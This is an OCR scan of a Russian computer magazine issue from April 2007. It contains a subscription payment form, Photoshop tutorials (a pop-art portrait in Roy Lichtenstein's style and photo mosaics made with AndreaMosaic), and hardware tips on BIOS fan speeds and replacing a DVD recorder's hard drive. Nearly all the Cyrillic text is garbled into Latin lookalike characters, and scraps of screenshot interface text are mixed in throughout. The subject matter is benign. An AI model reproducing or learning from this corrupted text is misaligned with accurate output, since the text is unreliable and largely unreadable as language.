Aflpec Ann niiceM: 

127521, MocKBa, a/fl 52 

Ka3axcTaH: 

(3272) 79-24-37 

BenopyccMn: 

(017) 291-98-91 



M3BemeHne 


Kaccup 




(cjDaMMJIMfl, MMfl, OTHeCTBO noflnMCHMKa) 

(noHTOBbiM MHfleKC m aflpec noflnMCHMKa) 

H3BaHMe xypHana 


KOJIMHeCTBO HOMepOB 

CyMMa 


KBMTaHLIMH 

Kaccup 


MHH 7714303927 3AO «Bypfla flnpeKT» 

Knn 771501001 P/c 407028100380401 11957 
b C6ep6aHK Poccmm r. MocKBa TBepcKoe OTfle/ieHMe Nq 7982 
K/c 30101810400000000225 BI/IK 044525225 


C yc/iOBMHMM npMeMa 6aHKOM yKa3am-iOM cyMMbi 03HaKOM/ieH 
m cornaceH « » 200_r. 


(noflnucb nnaTenbLUMKa) 


(flaTa nnaTexa) 


l/IHH 7714303927 3AO “Bypfla flnpeKT» 

Knn 771501001 P/c 4070281 00380401 11 957 
b C6ep6aHK Poccmm r. MocKBa TBepcKoe OTfleaeHMe Nq7982 
K/c 30101810400000000225 B14K 044525225 


(cjDaMMJlMn, MM in, OTHeCTBO noflnMCHMKa) 


(noHTOBbiM MHfleKC m aflpec noflnMCHMKa) 


H3BaHMe xypHa/ia 


KOJIMHeCTBO HOMepOB 


CyMMa 


C yc/iOBMHMM npMeMa 6aHKOM yKa3am-iOM cyMMbi 03HaKOM/ieH 
m cor/iaceH « * 200_r. 

(noflnMCb nnaTenbLUMKa) (flaTa nnaTexa) 


OrmaTa noflnMCKM 03HanaeT cor/iacMe Ha no/iyneHMe pex/iaMbi nocpeflCTBOM 3/ieKTpoHHOM cbh3m m noHTbi 






chip PRAXIS CeKpeTbi Photoshop 


{**■*1** fri 1 4^3 


OTKpbiBaeM b Photoshop 0atin Girl and 
dog, pacnono>KeHHbm HaflMCKe. 3axofli/nvi 
b MeHto «lmage I Adjustments» i/i BbidupaeM KOMaH- 
fly «Levels» (Cnoi/i). Kni/iKaeM no KHonKe «Options» 
n b OTKpbiBiiieMC^ Ai/ianoroBOM OKHe OTMenaeM 
«Find Dark & Light Colors». HawmviaeM «OK». 




£*"*l*<" 3 | Q, 

|S" f'l.m JUST 


■ 


a flna yflodcTBa flanbHei/iLijeM padoTbi no- 
BbituaeM KOHTpacT ch i/i m K a. CiviemaeM 
nepHbm Kypcop b flManoroBOM OKHe «Levels» npa- 
Bee — flo 3HaHem/m «lnput Levels 35», 6enbm — 
AO 3HaHeHMfi 214, cpeflHi/m ocTaBnneivi Ha Mede. 
Ha>KmviaeM «0K». 




1 M 

*** 

: -a 1 

C*M | 




<**■> [i*- 3 

mu I*™- 3 


I 3aBepmnB TOHOByio KoppeKpmo m yBe/in- 
h i/i b KOHTpacT CHMMKa, nepeBOflmvi nony- 
I neHHbm pe3ynbTaT b nepHO-6enoe i/i3o6pa>KeHi/ie. 

| flnn pemeHHfi 3 tom 3aflann ncnonb3yeivi KOMaHfly 
«lmage I Adjustments I Desaturate». K nojiyneHHO- 
My HepHO-6enoiviy M3o6pa>KeHmo npmvieHfleM 
(J)i/mbTp «Smart Blur» («Filter I Blur I Smart Blur»), 
BBefla b flManoroBoe okho cneflytomMe flaHHbie: 
Radius = 10, Threshold = 15, Quality = Low, 

Mode = Normal. FlawmviaeM «0K». 


DOWNLOAD/DVD: fOTOBblM KOJIJIAW CO BCEMI/I CJ1051MM I/I 1/ICXOflHblE CHI/IMKI/I 


I AnPEJlb 2007 


\ llopTpeT 

CTwjie non-apT 


KOHite 50-x — Hanajie 60-x toaob b 
Ahtjihh h CLQA bo 3 hhkjio HanpaB- 
jieHHe b HCKyccTBe, H3BecTHoe xax 
non-apT. Xyaoxchhkh 3anMCTBOBajiH 
o6pa3BI H3 KOMHKCOB, peKJiaMLI, KHHO — 
BnjiOTB 30 ynaKOBOK 4>acT-(J)y3a. Ohh hx 
pacnpocTpaHiijiH, noBTOpium hjih Hcxa- 
3CaJIH, KpHTHKyH, HaCTO B CaTHpHHeC- 
koh MaHepe, HcnojiB30Bamie 3ana3HBiM 
o 6 meCTBOM OpHrHHaJIBHBIX o6pa30B. 
Oahhm H3 jiH^epOB non-apTa HBjnieTCH 
aMepHKaHCKHH XY 30 XCHHK Poh JIuxTeH- 
IIITeHH, C033aBIHHH CBOH HenOBTOpH- 
MBIH CTHJIB, npH KOTOpOM Ha nOJIOTHe 
nOHBJIHIOTCil CHMMeTpHHHBie TOHKH, 
B 0 cnp 0 H 3 B 03 HmHe yKpynHeHHBift no- 
jiHrpa(J)HHecKHH pacTp. 3 th tohkh 
(a HHor^a eme h xoctie cjDOHOBBie hitph- 
xh, noxoaoie Ha TejieBH3HOHHBie noMe- 
xh) CTajiH H 3 eajiBH 0 y3HaBaeMOH Map- 
koh JlHXTeHiHTeHHa. Mbi paccKaxeM, 
Kax npeBpaTHTB oGtraHyio (jDOTorpa4)HK) 
b nopTpeT b MaHepe 3 toto xy 3 oacHHKa. 

Ceprew noropejibm 














Max, Radius: 

Screen Angles (Degrees): 
Channel !: 1 108 


Channe 4 


9 0TKpbiBaeM eme oamh caom aha HOBoro 
cjDOHa, Ha kotopom 6yfleT pacnono>KeHa 
AeByiuKa c codaKOM, n Ha3biBaeM ero, cooTBeTC- 
TBeHHO, «Ooh». fl/ia aToro B03BpaiAaeMca Ha 
CAOM «KOHTyp». ripn nOMOlAM HHCTpyMeHTa 
«Magic wand» (BoAwe6Hafl nanoHKa) C03flaeM 
BbifleneHwe, a HHCTpyMeHTOM «Paint Bucket» 
(3annBKa) 3aKpawMBaeM 0 oh Bbi6paHHbiM uBe- 
tom (R = 7, G = 254, B= 1). 


8 HannHaeM pacKpauiMBaTb co3AaBaeiviyK) KOMno3numo. flAA 3Toro C03flaeM BbifleneHHe no OTpnco- 
BaHHbiM KOHTypaM c noMOLAbio HHCTpyMeHTOB KaK rpynnbi «Lasso», TaK n «Pen» — fl/ia Han6oiiee 
TOHHoro pe3yiibTaTa. Bbi6npaa uBeTOBbie ottchkh, coeflyeT pyKOBOflCTBOBaTbCfl coOcTBeHHbiM ma30MepoM n 
cooTBeTCTBi/ieM uBeTOB mcxoahom cpOTorpacpMM. ripi/iMeH^eM k pacKpameHHOMy cjiohd cjDH/ibTp «Color Halftone» 
(UBeTOBbie noiiyTOHa; «Filter I Pixellate I Color Halftone») co CAeAyiOLAmviM HacTpoMKaMi/i: Max. Radi us = 9 pixels, 
Screen Angles (Degrees) Channel 1 = 108, Channel 2 = 162, Channel 3 = 90, Channel 4 = 45. 


Q noBTopHO npn- 

MeHfleM Cf)l/IJlbTp 

«Smart Blur», ho ywe c 
Apyri/iMi/i HacTpoMKaivm, 
Bbifleriafi i/i noflHepKMBaa 
TOJlbKO pe3KMe (KOHTpaC- 
THbie) xpa a CHi/iMKa. Ha 
3TOT pa3 HaCTpOMKM coe- 
AyfOLAi/ie: Radius = 8, 
Threshold = 20, Quality = 
High, Mode = Edge Only. 
flaHHbie 3HaHeHHfl nofl6n 
paiOTCA HHflHBHflya/lbHO 
AAA Ka>KflOrO CHI/IMK3. 


Ftadus 


Threshold 


, PS 3 


Quality 


O Co3flaeivi flBa HOBbix cnosi: ABa>KAbi Ha hm>k- 
h ew nacTM nanmpbi «Layers» (Coon) KAMKa- 
eM no 3Ha*HKy «Create a new layer» (Co3flaTb hobum 
caom) i/i ji i/i BbiOi/ipaeM b ivieHio KOMaHfly «Layer I New 
Layer». BepxHeiviy caokd flaeivi Ha3BaHne «KoHTyp», 
a HI/DKHI/IM CJIOM Ha3blBaeM «TeXH0J10mHeCKMM CAOM» 
i/i 3annBaeM ero Oe/ibiivi uBeTOM. flAA yflodcTBa flarib- 
HeMiueM padoTbi Henpo3paHHOCTb «TexHOJiomHecKO- 
ro caoa» yivieHbLuaeM ao 75%. 


n Ha crioe «KoHTyp» nepHbiivm kmctamm 
(Brush) c >xecTKi/iMi/i KpaAivm m MHCTpy- 
MeHTOM «Pen» HaHi/maeM OTpi/icoBbiBaTb Kornyp 
(rpacjDi/iHecKi/iu xapxac) Koivmo3MUMM c nocneAyio- 
LAeM 3ailHBKOM KOHTypOB HepHbIM ABeTOM. 


Chjnntfs l£uhs '■ . 






* r 


Layers Channel: I paths 


m 

(Pixels) [ 


| Multiply ^ Opacity: | 100% | ► 

Lock: □ JT •{* 0 Fill: | 100% | > | 


Aa/ibHeMiuaa pa 6 oia 
MO>KeT npoflo/DKaTbCB 
b flByx HanpaB/ieHMBx: 

а) n pOCTOM BapnaHT. I/I HCTpyMeHTOM 
«Eraser» (JlacTMK) ciepeTb weAKne p,e- 
T3A i/i m AopucoBaTb (Aynwe Ha OTAe- 
AbHOM CAOe) HepHOM >KeCTKOM KHCTbKD 
KOHTyp LUTpi/ixoBoro pi/icyHKa. 

б) Bo flee c/io>KHbm BapnaHT. Ha ot- 
AeAbHOM cAoe n pH noMomn Ki/icieM 
(Brush) C WeCTKMMM KpaAMM M MHCTpy- 
MeHTa «Pen» (llepo), c nocAeAyfomeu 
33A I/I BKOM C03AaHHOrO KOHTypa, OTpM- 
coBaTb Bee KOHTypHbie amhmm. B Ha- 
rneM npmviepe paccMaipMBaeTCA bto- 
pou, 6oAee TpyAoeMKMM, ho m oneHb 

3 c|d c|d e kth bi m Bapnam\ 


5 1 /lHBepTnpyeM nouy- 
HeHHoe M3o6pa>KeHMe 
Aaa noAyneHMA MiviMTauMM 
LUTpi/IXOBOrO pHCyHKa. flAA 
3 Toro ncnoAb 3 yeivi KOMaHAy 
«lmage I Adjustments I lnvert» 

MAM COHeTaHMe KA3BMLU 
«Ctrl+l». CAeuaeivi amhmm 6o- 
nee TeMHbiMM, eiAe 6oAbwe 
0606LAMB UJTpMXOBOM pMCyHOK 
McnoAb3yA 0MAbTp «Dark 
Strokes» («Filter I Brush 
Strokes I Dark Strokes») co 

CAeAyiOLAHMM HaCTpOMKaMM B 

AMaAoroBOM OKHe: Balance = 6 
Black Intensity = 4, White 
Intensity = 4. npnBOAMMbie 
HacTpoMKM, Kax m aaa wara 5, 
AeMCTBMTeAbHbl TOAbKO B ASH- 

hom cuynae! 


S’ iV 


‘4 ■' 
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PRAXIS 06pa6oTKa M3o6pa>KeHMPi 





llpeflCTaBJifleM BaM opnn/i- 
Ha/ibHbm cnocod pacno/io- 
mnm Baiunx Jiiodmvibix 
PM 0 pOBblX Cf) 0 T 0 rpact)l/M. 
Bee, hto fljifl 3 Toro HeoOxo- 
fli/iMO, — Oo/ibwafl Kojuiex- 
l chmmkob m TepneHi/ie. 
Ecjii/i y Bac Bee sto eerb, 
no/iyHeHHoe i/i 3 o 6 pa>KeHi/ie 
SyfleT He CTbiflHO flawe noBe- 
emb b paMKe Ha CTeHy. 

B 3 T 0 M CTaTbe 

Opi/in/majibHbm cnocod 
npeACTaBJieHM^ c| 30 Torpact)m 7 i 

llporpaMMa AndreaMosaic 

KaK no/iyHMTb KaHecTBeHHyK) ct> 0 T 0 M 03 anKy 


M Aei i (J> 0 T 0 M 03 anKH He HOBa. Oa- 
Ha>KAbi kto-to y xe Aejiaji M03aHKy 
H 3 CHHMKa Emma TeHTca, bbljioxchb 
ee jioroiHnaMH KOMnaHHH, c kotopbimh 
Microsoft cyAHjiact b pa 3 HBie toabi. 
y HeKOTOpBIX CpHpM nOA 06 HBie M 03 AHKH 
HcnojiB 3 yK)TCH b jioroTHnax. 

OoTOM03anKa — 6ojiBinoe H3o6paace- 
HHe, o6bihho nopTpeT, co6paHHoe H3 
coTeH MajieHBKHx KapTHHOK. B AajiBHeii- 
HieM MBI 6yAeM Ha3BIBaTB HX njIHTKaMH 
(tiles). Ohh noA6HpaK)TCH h noMemaiOT- 
CH B HyXCHOe MeCTO B 3aBHCHMOCTH OT 
HpKOCTH, cpopMbi h cpaicrypBi 6ojiBnioro 
H306pa3CeHHH. 

HanpHMep, ecjiH HaAO OTo6pa3HTB 
rjia3a, Ha hx MecTe 6yAyr pa3MemeHBi 
TeMHBie IUIHTKH. apKHX ynacTKOB 

H306paXCeHHH, COOTBeTCTBeHHO, nOTpe- 
6yiOTC5I HeCKOJIBKO CBeTJIBIX njIHTOK. 
Taioice KaxcAoe MajieHBKoe H3o6paxceHne 


MO>KCT 6BITB nOAKOppeKTHpOBaHO, noc- 
KOJIBKy TpyAHO nOJiyHHTB CTOnpOUeHTHO 
TOHHoe 6ojiBinoe H3o6pa>KeHHe, ncnojiB- 
3ya orpaHHHeHHBiii Ha6op iljihtok. 

npOrpaMM AJM C03AaHHH (J)0T0M03aHK 
AOBOJIBHO MHOrO. HaiH BBl6op OCTaHO- 
bhjich Ha Andrea Mosaic H3-3a ee npocTO- 
TBI H HedOJIBIHOrO pa3Mepa (HHCTaJUIHHH- 
ohhbih epaim 3 aHHMaeT 2,4 Mdaifr). IIo 
ycjiOBHHM pacnpocTpaHeHHH nporpaMMa 
othochtch k KJiaccy donationware — to 
ecTB ee moxho coBepmeHHO deciuiaTHO 
CKanaTB, ho aBTop He OTKa3ajicn 6 bi ot 
B 03HarpaxAeHHH b bhac noxepTBOBa- 
hh r. CKanaHTe nporpaMMy co CTpaHHUbi 
aBTOpa b MHTepHeTe: www.andreaplanet. 
com/andreamosaic h ycTaHOBHTe ee. 


IlepeA TeM kak HanaTB, CKonHpyHTe 
Hadop H3o6pa3ceHHH b otacjibhbih KaTa- 
jior. fljw Hanjiynmero pe3yjiBTaTa hx 
AOjhkho 6bitb He MeHee iiathcot. Ecjih y 
Bac HeT dojiBinoro KOJinnecTBa chhmkob, 
bbi MOxceTe cxanaTB hx c caifroB THna 
Flickr, Yahoo! Photos hjih pyeexoro www. 
photosight.ru. B TecTOBBix iie;nix moxho 
cxanaTB cneunajiBHyK) Bepcmo nporpaM- 
mbi, BKjnonaiomyK) roTOByio KOJUieKHHio 
MHHH-H3o6paxceHHH o6bcmom 8 M6aifr. 

PeHAepHHr M03aHKH TpedyeT mhoto 
pecypcoB h BpeMeHH. Hto6bi yjiynniHTB 
npOH3BOAHTeJIBHOCTB, COBeTyeM 3aKpBITB 
nponne npHjioxceHHH. Taioxe OTKJHOHHTe 
CKpHHcehBep — oh npepBiBaeT npoijecc 
C03AaHHH M03aHKH. H3I? 
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rioc/ie ycTaHOBKi/i Andrea Mosaic C03AanTe nanKy Images n CKom/i- 
pynie b Hee Bee n3o6pa>KeHi/ifl. Ohm flon>KHbi 6biTb b c|DopMaTe JPG. 
nepeBepHme, ecnn Hy>KHo, HeKOTopbie n3o6pa>KeHnn b rpac^nnecKOM 
peflaKTope, Hanpniviep IrfanView (3Ty nporpaMMy Bbi Hanfleie Ha Ha- 
LueM flMCKe). flrifl coKpaneHHB BpeMeHi/i peHAepnHra Hennoxo Tame 
yMeHbwi/iTb chmmkm. B nanxe ao/dkho 6biTb He MeHee 200 KapmHOK c 
pa3HOM npKOCTbfo n (fcopMOM pi/icyHKa. 


S offlft Ph6to IJtities. OnJj) la advanced usas. 


Status; Images in Cotfection 21 5, Load Completed 1 00%.. Elapsed T ime; QOlOQt 00 


llporpaMMa npoaHann3npyeT Bee cjDaM/ibi n coxpaHMT pe3y/ibTaT b 
AMC- cfDanne, coAepwaiAeM MH^opMapnK) o Kapn/iHKax: pa3Mep, mmh, 
nyTb (ohm MoryT HaxoflMTbcn bo Bno>KeHHbix nanxax). Korfla npopecc 
aHanM3a AocmrHeT 100%, Ha>KMMTe KHonxy «Close». 


Step 1 . Where Mt the ll« ol ih# ftotaroj-ac? 


ft CoHecton contains 21 5 rmaget 


Step 2. How tbodd I ctMte the Mosaic? 

Width of every lie High* values raise ou^i^+requ«d memory. Siflpestsd value between 50 end 200 ousts p00 


Tfunbsr dies pet raw. Hi>ws vdue: rsna retd nuttier tl Ues. SoqqeslKf vduet between 1 0 md SO Wes |F 
II yoo wart. a biae±. ine wound ever- .21*11 

Thamoi Parma: | —t motac ^ (£ Hl’ r 


J** 


Mnwn (feta™ between dupicali 
How mary tins: c«i I dLptcafle a- W 
How much can I mo#ji a We uvwy 
What algorithm should I me? Can 1 1 
Is Ihe Image Coiecbon ejected Ire 
Save a lent Report Or penMate a W- 

SlBplSeleCl |gotod3 po 




lunvaAMK | Images JPEG Tpo) 
r ToftbfcoatBtue 


~3 


pThgMQ j 


Addlmsfla | AddDlrectpy | Remove Iwfle | daw Lot 


3aAaMTe nyTb k rnaBHOMy M3o6pa>KeHMK), KOTopoe m 6yf\ei cocTaBne- 
ho M3 nnMTOK. flnn ero Bbidopa Ha>KMMTe Ha KHonxy «Add lmage». 


leteeted image Cofecbon: 


center 215 Images. 


Create CiJecben... 


U se Chi* button to aearie a new Crfectwn. You wi be asked fw a s 
diteetoiy. Then the ptogfamm vd\ add all I ma$e pJFGJ Be* in that 
■directory and StJjffiwctotBS lo the List Of I mages. 


Use this btibpnle ktad an easting pdtection An Image Cpleetkm is a Sat 
of fmages Ihat vM be used to create the Mosaic. 


Update Coflection 


Use this tMtom to update the List of I mages *n the CofleOtwo You need to 
do this fl /on added of removed some images from the sooice dkeeiQiy. 


J Use Ihis button to use the curient LJsf of tmages. as Biadt t White 
Images. The final Mosaic wi be sta a Color Image but treated using an 
anatysis based an g^ scale images. The gray scale analysis is 
terr^orary il you dc not save k the button Update Cotecbon. 


Ej; tract fron MoWe ... 


U so dbs button to erttKf Images (" JPG) from a Mdwie fie (*. AVt J. Afl« 
this process create the image CoNcbon on Ihei eorctracted Images. 


KnMKHMTe no KHonxe «Find Tiles», a 3aTeM no «Create Collection». 
BbidepMTe nanxy, b kotopom Bbi coxpaHMnM M3o6pa>KeHMfl, m 3aAaMTe 
MMa KonneKpMM ajia c|3aMna npoeKTa, KOTopbm 6yAeT 3anMcaH b c|3op- 
MaTe AMC (Andrea Mosaic Collection). 


Step 1 . Whom are the tlw o( the Fl^otomlre«; , 
Imapn. 


Findliet... 


J_L 


S-iep 2 Haw sh«*J l create the Mompc? 


Width of evwy tie Hi^is values ratse gually+ieqLied ntemory. Suggested value between 50 and 200 pnalt: jw 
W«nb« d UoEperrcw. Hotter yAim i arse total number d lies. Sugpostod value? between 10 amd 60 tter [3ft 

II you wards biact toe armjsd everySe then ret the see rf lha toe. Suggested value between D to 5 pereb; JS 

The mosaic wi have *s« cf 90 Mien FWJs and *d»rten 900 Ties 


Mnmum ddarce belween dipScated lies [Qsno dupfcatesi Suggested value between 1 and 15 Set: p 

HwiiMny tines can I diftc^e a iJe?((J«i**^d^JetT |6 

How much can 3 modfy a Stoeveiy lie Tm a better fnalReaJl? Suggested value between D and 30 percent pO 
What alpodVim should I use? Can I F%> the ties Vedicalty and/rn hnEDrtal^? 

Is the Image Cdecbcn eedlracted liom a Mome? II yes then set the mnanum dstance between every liame 
Savealeritftepoit or generate a Web Page rSeveBMPFla rienReport r WebPage, WkSk I 


Stop 3. Select iha Imeges to change Die a Mosatc 



Add Image | AddPiectoty | flemtwefmaga | Clear Cist 

SteM 

A1 Parameters as centd ;] 


£iWtolhe Mosaic's | 
Create gig Mosaic's | 
Abobt ^ndreaMogaie | 

I E * I 


OnpeAenMTe napaivieTpbi peHAepnHra a^^ nonyneHMH HannyHiuero 
pe3ynbTaTa. Ecnn y Bac MeHee 200 KapTMHOK, b none «Number of 
tiles per row» (xonnHecTBo nnMTOK b pnAy) BnMiuMTe 3HaneHMe 60. 
KonnHecTBO noBTopeHMM oahmx m Tex we nnMTOK 3aAaeTcn b n^TOM 
CBepxy none. PexoMeHAOBaHHoe 3HaneHMe ot 1 ao 10, ho yHTMTe ecnn 
Bbi XOTMTe, HT06bl BCe MMHM-KapTMHKM OblOM OpMTMHanbHblMM, BaM 

noHaAodMTca donbiuan KonneKpnfl chmmkob. none «What algorythm 
should I use» no3BonneT BbiOpaTb 6yAeT nn nporpaMMa 3epKanbHO 
OTo6pa>KaTb (Flip) nni/iTKH. B TecTe HannyHiunM o6pa30M 3apeKOMeH- 
AOBan ce6n anropnTM «Flip Horiz + Vert». Bbi6epnTe ero M3 BbinaAa- 
loiAero cnncKa. 



l/lTax, npMiuna nopa Ha>xaTb KHonxy «Create the 
Mosaic» (co3AaTb M03anKy). nonyHMBiueecn 
M3o6pa>KeHMe 6yAeT noxasaHo b HedonbinoM OKHe 
npeAnpocMOTpa. HTodbi AeTanbHO pa3rnnAeTb ero, 
BOcnonb3ynTecb KaKMM-nnOo npocMOTpiAMKOM 
M3o6pa>KeHMM. CreHepnpoBaHHbiM c|3aMn HaxoAMTcn 
b tom >xe nanxe, hto m ncxoAHoe donbiuoe M3o6pa- 
>KeHne m MMeeT b Ha3B3HMM npncTaBKy «mosaic». 
Em i l/l36eranTe comiukom donbiuoro Konnnec- 
TB3 TeMHbIX C|30T0rpact3MM; AO/DKHO 6 bITb pa3yMHOe 
COOTHOLUeHMe CBemblX M TeMHbIX M306pa>KeHMM, 
KOTopbie nocny>KaT nnnTKaMM a/ia mo33mkm. 
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flPOBEPKA HA yCTOMHMBOCTb 


Harpy3MTb 

KOMnbKrrep no MaKQMMyMy noMoryT deHHMapioi, 
Hanpmviep recTOBan nporpaMMa 3DMark 


HHEi TIPPS & TRIC 
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xeHHbix BOKpyr npoiteccopa, TaKHx kuk 
ceBepHbm moct h npeo6pa30BaTejn> 
HanpHxceHHH. 

HhCJIO o6opOTOB BeHTMJIHTOpa yCTaHaB- 
JTHBaeTCH B COOTBeTCTBy K) LHH X HaCTpOHKaX 


Hardware 

1 

Maiepi/iHCKaa n/iaia fljia Core 2 Duo: ycipaHaeivi «3aBi/icam/m» 

154 

2 

DVD-peKopflep: 3aivieHfleM wecTKi/iii amok 

155 

3 

HoyifiyK: oOHOB/iaeivi npowi/iBKy KapT-puflepa 

156 

4 

RAID 0: pewaeM npodneiviy CKopocn/i 

157 

5 

>KecTKne ai/icki/i SATA: flonojiHmejibHO aKTi/iBi/ipyeM NCQ 

157 

6 

CipyMHbiw npi/imep: ycipaHaeivi owi/i6oHHoe coo6LAem/ie 

158 

7 

UncppoBaB KaMepa: cpOTorpacpnpyeM c/iaMflbi 

158 

Internet 

8 

ABTOMainnecKoe yAanem/ie ciapow non™ 

158 

9 

l/lcnoub30BaHMe OH/iawHOBbix cepBi/icoB ajih o6MeHa flaHHbiMM 

159 

Communications 

10 

BecnpoBOflHbie cein: onn/iMi/i3i/ipyeM pafluoKaHaa 

159 

ii 

CoTOBbie Te/iecpOHbi: yBejii/iHi/iBaeM rpoMKOCTb 3ByKa V3x 

160 


12 

■■ ■ 

Co3flam/ie cpaw/iOB /iK)6oro Ti/ma nepe3 KomeKCTHoe MeHK) 

161 

13 

Owi/ta npu ydaHOBKe nporpaMMbi 

161 


1 MaiepMHCKan n/iaia ana Core 2 Duo 


yCTpaHfleM 3aBHCaHH5l 

HoeoMy IIK ecezo nembipe nedenu, a oh 

pi*«m ^ 

yotce u3Mynwi eac nocmomwbiMu 3aeuca- 
hummu. Ocodenno nacmo neodxoduMocmb 
nepe3aapy3Ku eo3HUKaem npu nepexode 
om odnou npoepaMMbi k dpyaou, nanpuMep 
om 6e3o6udnoso mexcmoeoeo pedaxmopa 
k MomnoMy spacjjmecKOMy npmoMcemuo. 


C6oh B03HHKai0T H3-3a npo6jieM 
c oxjra>KaeHHeM. Bepoirmo, bbi nepecTa- 
pajiHCb c 3 Hep roc6epe raro lu u m u HacTpon- 
KaMH. IlpOH 3 BOAHTeJIH COBpeMeHHBIX 

MaTepHHCKHx rniaT c noanepxKOH Intel 
Core 2 Duo OTKa3BiBaiOTcn ot aKTHBHoro 
0XJia3CaeHHH OTfleJIBHblX KOMnOHeHTOB H 
BMeCTO 3T0r0 HCnOJIB3yiOT nOTOK B03Ay- 
xa, H^ymHH ot Kyjiepa iteHTpajiBHoro 
npoiteccopa. Ero BnojiHe ttocTaTOHHO 
AJin oxjrax^aeHHH ycTpoftcTB, pacnojio- 
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BIOS. Ee MOvKHO peryjTHpOBaTb, ao 6 wBa- 
HCb 3 K 0 H 0 MHH OHepTHH H CHHJKeHHH ypOB- 
hh rnyMa. O^HaKO ecjiH BBi 6 paTB cjihhikom 
HH 3 Koe 3 HaneHHe, UHpKyjrauHa B 03 Ayxa 
CTaHeT HeaOCTaTOHHOH, HTO M 03 CeT npH- 
Becra k onacHOMy neperpeBy npeo 6 pa 30 - 
BaTejiH HanpiDKeHHB. 3 to, b cboio OHepeab, 
3aTpoHeT KonaeHcaTopbi-cTa6iuiH3aTopbi 
H M 03 CeT BbI 3 BaTb TiDKeJIbie nOBpe>KaeHHH, 
HpeBaTbie 3 aMeHOH MarepHHCKOH iuiaTbi. 

HTo 6 bi onpe,aejiHTb HanMeHbiiiee uhcjio 
o 6 opoTOB BeHTHjiBTOpa, AonycTHMoe B 
CHCTeMe, 3acTaBbTe KOMnbioTep pa6oTaTb 
c Gojibihoh Harpy 3 KOH. K npHMepy, 3 to 
movKho c^ejiaTb c noMombio 6 emMapKa 
3DMark (www.futuremark.com). Ecjih 
CHCTeMa npHTOpMaacHBaeT, nocTeneHHO 
noBbimaHTe b BIOS uhcjio o 6 opotob 
BeHTKJiHTOpa — ao Tex nop, noxa IIK He 
HanHeT pa 6 oTaTb CTa 6 njibH 0 . 


2 flpocTpaHCTBO flrm 3 ani/ici/i 


3aMeHa wecTKoro fliiCKa 
b DVD-peKop/iepe 


Ha dtcecmKOM ducKe eaiueeo DVD-peKopdepa 
ne xeamaem Mecma? He cneuiume c 
noKynKou noeoeo annapama. Peuiumb 
npodjieMy MODtcno unane — docmamonm 
npocmo 3 aMemunb eumecmep. 


npHHHHbl 3aMeHbI 3CeCTK0T0 AHCKa, 
BCTpoeHHoro b DVD-pexopAep, 6biBaiOT 
pa3HbiMH. Koto-to, k npHMepy, He ycT- 
panBaeT o6beM HiTaTHoro BHHuecrepa. 
KoMy-TO MernaeT tpomkhh myM acecTKO- 
ro AHCKa, h oh MenraeT o 6ojiee thxoh 
MOA ejin. Kto-to npocTO xoueT 3aMeHHTb 
AHCK, BblHieAHIHH H3 CTpOH. Ha (jDOTOTpa- 
(J)hhx cnpaBa noKa3aHO, xax moxho ocy- 
mecTBHTb 3Ty onepau;HK) npaKrauecKH. 

Taioie npOH3BOAHTejiH kslk Philips, 
Samsung hjih Toshiba pa3MemaiOT npo- 
rpaMMHoe odecneneHne pexopAepOB Ha 
xecTKOM AHCKe. BjiaAejibu;aM 3 thx yer- 
Pohctb npHAeTcn CAejiaTb pe3epBHyio 
KonHK) >KecTKoro AHCKa. Heo6xoAHMOCTb 
3 toto BbiacHaeTCH c noMOuibK) npocToro 
TecTa. YcTaHOBHTe b pexopAep KaKOH- 
HH6yAb CTapblH vKeCTKHH AHCK h npOBepb- 
Te, pacno3HaeTCH jih oh. Ecjih pexopAep He 
bhaht ero, nepeHecHTe Bee AaHHbie c opn- 
THHajibHoro AHCKa Ha hobbih BHHuecrep. 
3 to ACJiaeTCH c noMOuibio nK h nporpaM- 
mbi ajib KonHpOBaHHH ahckob (HanpHMep, 
Paragon Hard Disk Manager). 



OiKpoiiTe Kopnyc 
peKopflepa. Bnyip h 
oh oneHb noxo)K Ha 
KOMnbHuep. >KecTKne 
Ahckh DVD-peKopnepoB 
06 blHH 0 nOflKJUOHaiOTCfl 
k pa3i>eMy PATA. 
l/lHTepcpewc SATA He 
nojiynmi pacnpocipaHe- 
H m B 3T0M Knacce 
yCTpOMCTB 



0TKJ1K5HAEM flMTAHME M KAEEilb IDE 


OTCOeflMHHTe OT 
MecTKoro flHCKa Ka6enb 
IDE h npoBOfl nmaHHH. 
BbiHHManTe uneKepb! 
0CT0P0)KH0 H 6e3 
nepeKOCOB, HTo6bi He 
norHyTb KOHTaKTbi 



HTo6bi HSBjneHb M3 
Kopnyca wecTKHH 
AHCK BMeCTe C paMKOH, 
HeodXOAHMO OTKpyTHTb 
BHHTbl. Ha l|]OTOrpaC|]HH 
ohh OTMeneHbi 
CTpejixaMH 





: 




CHHMHTe paMKy 
c )KecTKoro AHCKa. 
Kax npaBHiio, OHa 
npHKpenoHeicfl 
KpeCTOBbIMH BHHT3MH 
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H3U? TIPPS & TRICKS 




2.5 


YCTAHABJ1MBAEM PAWKY HA )KECTKMM flMCK 



ripMKpenme paMKy k 
HOBOM y MeCTKOMy 
flMCKy. OTBepCTMR flilfl 
BMHTOB C00TB6TCTByH)T 
CTaHflapiy. nepefl 
yciaHOBKOM npoeepbie, 
B KaKOM n0J10)K6HNR 
ctort nepeMbiHKM y 
ciaporo MecTKoro 
flMCKa (Master mjim 
S lave), m Bbidepme ajir 
HOBO rO flMCKa TaKOM >Ke 
peMMM 



Tenepb yciaHOBMTe 
M6CTKMM flMCK B DVD- 

peKopflep m npMKpyTMTe 

BMHTbl 




noflcoeflMHMTe Ka6erib 
IDE m npoBOfl nMTaHMR. 
Oopivia uTeKepoB 

TaKOBa, HTO MX MO)KHO 
BCTaBMTb TOJIbKO B 
OflHOM, npaBMJIbHOM 
n0J10)KeHMM 



SaxpoMTe Kopnyc m 
3aKpyTMTe BMHTbl. 
Tenepb Bbi momeie 
CHOBa KaK OdbIHHO 
n0J1b30BaTbCR CBOMM 

pexopflepoM 


HHor^a dojiBinne xecTKHe ahckh He 
pacno3HaiOTCii Boodme, nocKOJiBKy b 
nponiHBKe nponncaH onpe^ejieHHBiH 
odneM. B jiio6om cjiyuae cjie^yeT npOBe- 
pHTB MOflH(J)HKau;HK) npOIHHBKH J\im 
BarneH MO^ejiH. Ilpo6jieMy c noAAepaacoH 
Ahckob Apyroro odBeMa odHOBjieHHan 
nponiHBKa MOxeT h He peniHTB, ho ee 
ycTaHOBKa ho3hthbho CKaaceTcn Ha pado- 
Te npyrnx cHCTeM peKopnepa. 

Hto BaM noTpe 6 yeTcn 

H3 HHCTpyMeHTOB nOHaAOdHTCH TOJIB- 
KO KpeCTOBaH OTBepTKa. HT06BI BBl6paTB 
